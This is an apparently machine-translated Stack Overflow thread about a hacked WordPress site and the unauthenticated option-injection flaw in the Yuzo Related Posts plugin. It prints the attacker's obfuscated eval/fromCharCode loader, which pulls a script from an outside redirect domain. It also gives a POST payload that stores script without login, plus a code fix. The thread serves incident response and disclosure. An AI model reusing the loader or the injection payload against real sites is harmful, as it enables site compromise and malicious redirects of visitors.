wordpress - 已关闭插件 Yuzo 相关帖子中的漏洞

Question

关闭。这个问题需要多问 focused 。目前不接受答案。

---

想要改进此问题吗？更新问题，使其仅关注一个问题 editing this post .

已关闭 4 年前。

Improve this question

大约一个小时前，我管理的 WordPress 页面开始重定向到广告/恶意软件页面。

我找到了重定向的来源，想要为其他受影响的人提供帮助，并且需要帮助查找实际的漏洞和/或修复。

重定向发生在网站加载完成后，因此我在页面中寻找 JavaScript 片段，并在网络分析器中寻找可疑的重定向。明显的恶意重定向是:hellofromhony.org、thebiggestfavoritemake.com、nnatrevaleur.tk 和一个试图窃取我当前位置的网站(但无法多次复制该位置)。

我能够追踪到来自 https://hellofromhony.org/counter 的重定向。它通过代码片段嵌入。

该代码片段嵌入在 wp_options 中的一个条目中，键为“yuzo_lated_post_options” - 更具体地说，嵌入在 option_value 的 json 选项“yuzo_lated_post_css_and_style”中。该选项会在没有清理的情况下得到回显。

此选项是 Yuzo 相关帖子插件的一部分，该插件大约一周前已停止使用: https://wordpress.org/plugins/yuzo-related-post/

删除该插件会立即停止重定向，我无法找到其他篡改该网站的痕迹。

option_value 中的代码片段:

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

虽然删除插件可以实现快速修复，但我想更深入地研究以确保无法访问数据库、后端和网络空间。

Answer 1

我相信我刚刚找到了它:Yuzo 相关帖子插件在保存选项时不会检查身份验证。

所以发帖

yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script> 

到 /wp-admin/options-general.php?page=yuzo-lated-post 即使您没有登录，也会成功。

插件使用 is_admin() 来检查身份验证，但这是一个“假 friend ”，仅检查访问的页面是否在管理区域中，而不检查用户是否经过身份验证(也未授权)。请参阅Wordpress documentation .

继续使用该插件的一个快速解决方案是通过在 /assets/functions/options.php 第 1155 行的 if-Statement 中添加 false 来删除设置选项:

    function __construct(){

        global $if_utils;

        $this->utils = $if_utils;

        if(false/* is_admin() */)
            self::configuration_plugin();
        else
            self::parameters();

    }

更新:

关航指着a Blog Post about this issue from last week ，看起来现在已经“野外”了。